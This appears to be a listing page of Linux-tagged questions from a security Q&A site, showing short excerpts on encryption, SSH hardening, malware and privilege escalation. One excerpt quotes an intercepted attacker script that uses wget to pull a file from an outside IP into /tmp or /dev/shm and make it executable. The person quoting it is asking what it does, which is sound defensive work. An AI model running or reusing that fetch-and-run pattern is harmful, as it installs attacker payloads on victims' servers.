Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

9
votes
3answers
386 views

Linux Plausibly Deniable File System

Is there any way to encrypt a linux filesystem in such a way to maintain plausible deniability? E.g. "Hidden OS support," the way Truecrypt and Veracrypt work, they only support Windows OS due to low ...
0
votes
0answers
12 views

Timeout after setting up proxychains

I've installed ProxyChains on my linux machine and I'm trying to hide my IP over the internet. I went on one of those sites that gives you a list of ips, in this case, proxylist.hidemyass.com and got ...
1
vote
2answers
169 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
1
vote
0answers
8 views

How do I use Client9's IPCat with IPTables [migrated]

I'd like to block all ips of all datacenters in the world with this list: https://github.com/client9/ipcat But I don't know how to use that list, I'd like a bash script that checks if there's an ...
2
votes
0answers
39 views

Methods root can use to elevate itself to kernel mode

When most Linux users hear "root", they think of the maximum possible privilege on a computer. Some even think that root runs in ring 0. But in reality, root is just a regular user running in ring 3, ...
3
votes
1answer
136 views

Pros and cons of disabling TCP timestamps

So, lynis informs me that I should unset net.ipv4.tcp_timestamps. I know that's a bad thing because an attacker could figure out which updates that require restarting the machine I haven't applied, or ...
15
votes
5answers
2k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes, can someone read this script and tell me if it safe and is it effect any how on GnuPG security? It gives me an ...
3
votes
1answer
65 views

What can I do to separate users best way if they are allowed to run their ruby (python) code

I have Ubuntu server 12.04 on VDS and I allow users to run their own Rails applications on behalf their own accounts. That means: They can use any shell they want They can upload what they want, ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
23
votes
5answers
4k views

Why should one use sudo? [duplicate]

Most modern Linux articles advice using sudo rather than logging into root. This advice is so ingrained, some distros don't automatically allow root login. Indeed they come pre-configured with sudo ...
2
votes
3answers
65 views

Does any malware target Tails?

Tails is not a popular OS and is optimized for security, which makes me doubt there is a significant amount of malware that targets it. I googled "malware targeting tails," and found no relevant ...
6
votes
2answers
157 views

GUI isolation in X11 when entering Truecrypt password

I have been getting a bit paranoid regarding some of my old TrueCrypt containers. The paranoia has got nothing to do with suspicions regarding TrueCrypt itself (after the shut-down last year), rather ...
4
votes
2answers
43 views

How to determine the minimum Linux Kernel version required for a given vulnerability

I have to track vulnerabilities for a legacyish (3.12) Linux Kernel. For this purpose I'm searching on various sites like NVD for new vulnerabilities. Recently I encountered a problem where the ...
1
vote
2answers
35 views

Would saving GPG and SSH keys as another user improve security?

Since e.g. SSH keys under Linux are owned by the user who created them, any applications running as the user, e.g. a web browser, should be able to read them from the ~/.ssh folder. Say that there is ...
-3
votes
1answer
126 views

With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? [closed]

So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs ...
21
votes
2answers
2k views

Why would properly logging full http requests be bad practice?

I'm currently looking at Secure Coding Practices documentation provided by Veracode with their code analysis toolsuite. In a "secure logging practices" section, they mention that logging full HTTP ...
7
votes
4answers
994 views

How to trace the actions performed by a virus?

Is that possible to trace the actions performed by a virus? Run Time , stolen data and the files consulted and get the relative impact on my pc.?
7
votes
2answers
245 views

Anti-live forensic programs

Against dead forensics acquisition we can use disk encryption (we can use TrueCrypt for example). I was wondering do software exists against live forensic ? Can you give me a list for windows and ...
-2
votes
1answer
88 views

anti cloning hard disk [closed]

I'm trying to create an "anti-cloning" system. I'd like to know if there's a way to check a unique label on the hard disk, during the boot phase, in order to avoid the machine to continue booting if ...
1
vote
1answer
53 views

How to distinguish malware from system crash?

Recently, I browsed to a website, which appeared to consume all the computer's resources. Although the mouse cursor continued to move, the browser (and other applications) slowed down fast and soon ...
2
votes
1answer
923 views

Why does the linux XRDP module use a 512 bit RSA key?

Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
1
vote
0answers
38 views

How does text that is displayed with cat end up trying to execute in the Linux terminal? [duplicate]

Sometimes you accidentally "cat" a binary... only for your terminal to become utterly corrupted, ending up in another code page where all characters are unrecognizable, while your shell spits back at ...
-1
votes
1answer
56 views

Is it reckless to use an Android app to login to a server with SSH?

There is a very similar question here. Recently I came across an Android app that facilitates SSH and requires no permissions. Specifically, "Telnet / SSH Simple Client" by Advanced Planning Corp.. ...
0
votes
0answers
22 views

Crackle does not work?

I've used to intructions for Crackle but, cannot get this kind of results like in the example. All it does is open up the wireshark like plugin and does not show any results like the picture below. ...
0
votes
2answers
45 views

Is there a server/website specific malware scanner? [closed]

I have multiple Linux CentOS servers that are scanned with the Google Webmaster Tools, and when it finds some malicious code on my servers(shared/dedicated), the ranking of those site drops. What I am ...
11
votes
1answer
160 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
4
votes
2answers
833 views

Malware (adware?) infection on linux

Recently I've get stuck with a malware(adware/virus ?) which I can't remove. here is the condition: I'm using Linux (Archlinux), it's uptodate and I don't install any packages outside standard repos ...
0
votes
0answers
14 views

Has Anyone Published the Typical Netstat Profile for TAILS Linux?

Using TAILS, and with concerns typical of anyone security conscious enough to be drawn to it in the first place, I was wondering if boum.org or anywhere else has put the typical netstat profile for ...
0
votes
1answer
51 views

Is this attack vector possible?

I had some suspicious pdf files on my linux computer. I opened it in firefox and Evince pdf reader and I forgot to use VM or any other sandbox. Is it possible the pdf to be infected with any kind of ...
4
votes
3answers
675 views

Did CVE-2016-2324 allowed remote code execution?

Let’s say I have this kind of code : // In revision.c char *path_name(const struct name_path *path, const char *name) // by design, name_path->len is a 32 bits int, but this doesn’t concern name { ...
5
votes
5answers
207 views

VPN with client certificate via managed PKI - where did private key come from?

$company allows Mac users to request a client certificate via Symantec PKI to connect to their SSL VPN server. This process involves going to a specific Symantec website (has some sort of ID to ...
1
vote
2answers
28 views

Protect Public Directories Linux

Just for a brief overview. I have a system that can generate invoices and has a login system for a user to generate his/her invoices. Lets say the platform resides at /platform and the invoices in ...
5
votes
1answer
41 views

Ordering of the PATH environment variable

Locally here on Ubuntu 14.04, my $PATH looks something like this: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games" When I manually define the path for ...
1
vote
1answer
288 views

Can I decrypt a DiskCryptor-encrypted hard drive using Veracrypt?

I have a hardrive I encrypted with DiskCryptor back when I was using Windows. Now that I have Linux I want to decrypt the hard drive but it turned out DiskCryptor is not available for Linux, whereas ...
-2
votes
1answer
35 views

accessing Desktop from Root directory [closed]

I was using aircrack-ng package in my ubuntu 15.04. This package works only under root privileges. Now I want to save .cap file on my desktop using airodump-ng package but everytime I do, it throws an ...
2
votes
1answer
64 views

openssh old version vulnerabilities

My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option # PubkeyAcceptedKeyTypes ssh-rsa* ...
1
vote
1answer
72 views

Detect port scans on Linux (centos) [closed]

I have OSSEC installed on my hosts. I want to detect port scans and generate an alert in OSSEC. So, how can I detect these port scans? Is it possible reading iptables logs? Do you recommend some ...
0
votes
0answers
33 views

can sudoedit in below context be used to privilege escalate?

We can sudo without supplying a password! Matching Defaults entries for werkzeug on vwebhost: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ...
7
votes
2answers
177 views

Can BTRFS provide authentication on an encrypted disk?

One of the problems of disk encryption is providing authentication. An attacker with access to the ciphertext can modify the ciphertext at will without consequence. Given, this isn't a likely attack, ...
1
vote
1answer
62 views

Minimal working configuration for reasonable security in openssh on Linux [duplicate]

I want to connect from my laptop to home server (both run some Linux; notice I explicitly want my user to be able to become root, in order e.g. to install new software): the server has the following ...
0
votes
1answer
147 views

Is that possible for Linux and windows machines to be infected with KeRanger ransomware?

According to theguardian The Transmission site offers the open source software that was infected with the ransomware called KeRanger malware, it's programmed to encrypt files on an infected personal ...
1
vote
3answers
450 views

TSource Engine Query DDoS attack

My gaming machine is under DDoS attack and when I used Wireshark I found the following string "TSource Engine Query" in all UDP packets coming from random IP's. I found using Google that some gaming ...
1
vote
3answers
284 views

How to (further) ensure SSH security?

I set up my Linux Ubuntu machine as an SSH server through no-ip.com and it works great. Recently I discovered the command, sudo lastb -ad -F -w which outputs a log of the most recent failed SSH ...
0
votes
0answers
30 views

How to know who and when files and folders have been deleted in CentOS? [duplicate]

I have a dedicated web server and there is some files and folders have been deleted from my client's sub-domain accidentally and there are more than one user mange the client site. How to know who ...
1
vote
2answers
317 views

RAM memory data remanence and double boot, risky?

I wonder if my setup can be risky. To give a good starting point for answers I would briefly sketch the situation setup: double boot system GNU/Linux and Microsoft Windows GNU/Linux is on 2 ...
11
votes
3answers
5k views

Pitfalls of SSD encryption

Encrypting an SSD is a process that is sometimes warned should be done with caution. E.g. http://en.gentoo-wiki.com/wiki/DM-Crypt_with_LUKS mentions how the SSD may keep hidden space used for wear ...
1
vote
2answers
114 views

Don't encrypt the hard drive, but make it impossible to change things without a password?

I recently bought an SSD drive and realized that my CPU (Celeron 1007U - has no AES instructions) cannot really keep up encrypting it and the SSD doesn't have hardware encryption built in. This made ...
1
vote
2answers
300 views

Code Vulnerability in Shell script

I was given an assignment for my Computer Security class. We we were given a piece of code to analyze and determine the vulnerabilities that it might have. #!/bin/sh # shell script to create a copy ...
0
votes
2answers
24 views

Privilege escalation if the privileged ID is known

If I know the ID of a group, whose privilege is higher than mine, is it possible for me to execute programs using that group ID? If so, how do I do it? If not, why not? Will appreciate all answers.
6
votes
1answer
386 views

Is symlink race a very common vulnerability in UNIX systems

As far as I know, when I am creating a new file or directory in a directory that can be written by multiple users (and thus an adversary can have made a symlink there), the only way to protect myself ...